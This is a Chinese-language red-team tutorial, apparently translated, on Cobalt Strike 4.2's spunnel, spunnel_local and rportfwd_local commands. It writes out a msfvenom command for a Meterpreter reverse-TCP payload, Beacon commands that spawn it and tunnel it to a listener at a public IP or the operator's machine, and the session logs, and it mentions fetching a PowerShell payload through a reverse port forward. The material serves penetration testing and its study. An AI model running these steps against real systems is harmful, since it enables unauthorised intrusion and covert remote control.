首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Cobalt Strike Spawn & Tunnel

Cobalt Strike Spawn & Tunnel

原创
作者头像
Khan安全团队
发布2021-12-29 16:24:58
1.4K0
发布2021-12-29 16:24:58
举报
文章被收录于专栏:Khan安全团队Khan安全团队

Cobalt Strike 4.2 引入了一组新的“生成和隧道”命令,称为spunnelspunnel_local

Core Impact是 HelpSystems 提供的漏洞利用框架,HelpSystems 是收购战略网络和 Cobalt Strike 的同一家公司。理所当然地,他们希望在他们的保护伞下协调产品,但这使得非 CI 客户很容易认为此功能不有趣或不相关。

但是,该实现足够通用,可以利用任何可以生成与位置无关的 shellcode 的攻击性工具集,因此本文将演示如何将这些命令与 Meterpreter shellcode 一起使用。但是拉斯塔,你可能在想。Beacon 已经有外部监听器,shspawn 和 shinject 命令,它们已经可以通过 Beacon 生成 Meterpreter 会话。为什么我们需要更多的命令来完成同样的工作?

撇开攻击性的深度争论不谈,外部侦听器相当有限,因为它仅支持 32 位并且与无阶段有效负载不兼容。shspawn 和 shinject 更加灵活,因为它们允许我们提供任意的 shellcode——包括 64 位和 stageless。

将 Meterpreter C2 流量返回到 Metasploit 的最明显方法是使用 HTTP/S 负载类型——缺点是它创建了一个新的出口通道。如果我们已经花时间并小心翼翼地使 Beacon 流量尽可能成为 OPSEC 安全,那么必须重复整个过程以适应 Meterpreter 会话将不会是有趣的时光。这就是为什么在现有的 C2 通道上隧道植入是一个不错的提议。

beacon> help spunnel
Use: spunnel [x86|x64] [host] [port] [/path/to/agent.bin]

This is the spawn and tunnel command. Spawn an agent and create a reverse port forward tunnel to its controller.

在我们超越自己之前,让我们生成一个指向127.0.0.1:4444的反向 TCP 负载。

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Saved as: /tmp/msf.bin

然后执行 spunnel,其中184.105.181.155是运行 Metasploit Framework 的服务器的公共 IP。

beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
[*] Tasked beacon to spawn msf.bin (x64) and forward 127.0.0.1:4444 to 184.105.181.155:4444
[+] started reverse port forward on 4444 to 184.105.181.155:4444
[+] host called home, sent: 200296 bytes

按照反向端口转发的通常功能,它将侦听到达端口 4444 的流量并将其转发到 184.105.181.155:4444。于是我们得到一个新的 TCP Meterpreter 会话出现。

msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444

[*] Meterpreter session 1 opened (10.64.41.77:4444 -> 74.82.28.4:49194) at 2021-06-12 14:08:34 -0400

这似乎并不那么引人注目,因为它似乎是 rportfwd + shspawn 的组合/自动化版本。您确实可以通过自己单独运行它们来达到相同的目的。

spunnel_local

当我们查看spunnel_local时,事情变得更有趣了。

beacon> help spunnel_local
Use: spunnel_local [x86|x64] [host] [port] [/path/to/agent.bin]

This is the spawn and tunnel command. Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller.

与 spunnel_local 的主要区别在于,流量将一直重定向到运行 Cobalt Strike客户端的主机,而不仅仅是 Team Server。在我们使用 Meterpreter 的示例中,这允许我们在我们自己的本地机器上运行 Metasploit 框架(本机、VM 或 WSL 等)。

在这种情况下,我在 Windows 上运行 CS 客户端,在 Ubuntu 中使用 WSL2 运行 msfconsole。将多处理程序设置为侦听0.0.0.0:4444

msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444

WSL 的一个后果是,从我的 Windows 主机的角度来看,这仅绑定到 127.0.0.1。

C:>netstat -anp tcp | findstr 4444
   TCP    127.0.0.1:4444         0.0.0.0:0              LISTENING

告诉 spunnel_local 绑定到 4444 并转发到 127.0.0.1:4444。因为流量一路回到我的主机,所以这是我机器上的 127.0.0.1:4444,而不是“受害者”机器。

如果您在使用 NAT、桥接或内部网络的 VM 中运行 Metasploit,您将指定 VM 的 IP 地址而不是 127.0.0.1。

beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
[*] Tasked beacon to spawn msf.bin (x64) and forward 127.0.0.1:4444 to rasta -> 127.0.0.1:4444
[+] started reverse port forward on 4444 to rasta -> 127.0.0.1:4444
[+] host called home, sent: 200296 bytes
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:33144) at 2021-06-12 20:05:26 +0100

我认为能够在虚拟机中本地运行这种类型的工具,并且能够在不需要手动设置 iptables 和 ssh 端口转发的恶作剧的情况下将所有的流量隧道传输回来使用,真的很酷。

rportfwd_local

除了 spunnel 命令之外,还有一个rportfwd_local命令。

您可以推断,这是一种生成反向端口转发的通用方法,该端口转发将通过隧道返回到 Cobalt Strike 的主机,而不是 Team Server。

在我对主机进行某种 RCE(例如,MS SQL 盒上的 xp_cmdshell)并且我想执行不适合 RCE 方法的大型负载的情况下,我经常使用反向端口转发。像 PowerShell one-liner 通过 rportfwd 到 iex 之类的东西效果很好。

标准的 rportfwd 命令要求 Team Server 将流量转发到一个可公开访问的 IP(就像我们的第一个 spunnel 示例一样),或者在其他转发魔法的帮助下转发到其他地方。

而 rportfwd_local 将允许我们在本地主机、VM 或 WSL 中启动 Python HTTP 服务器,并让远程主机直接从我们这里下载有效负载。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • spunnel_local
  • rportfwd_local
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档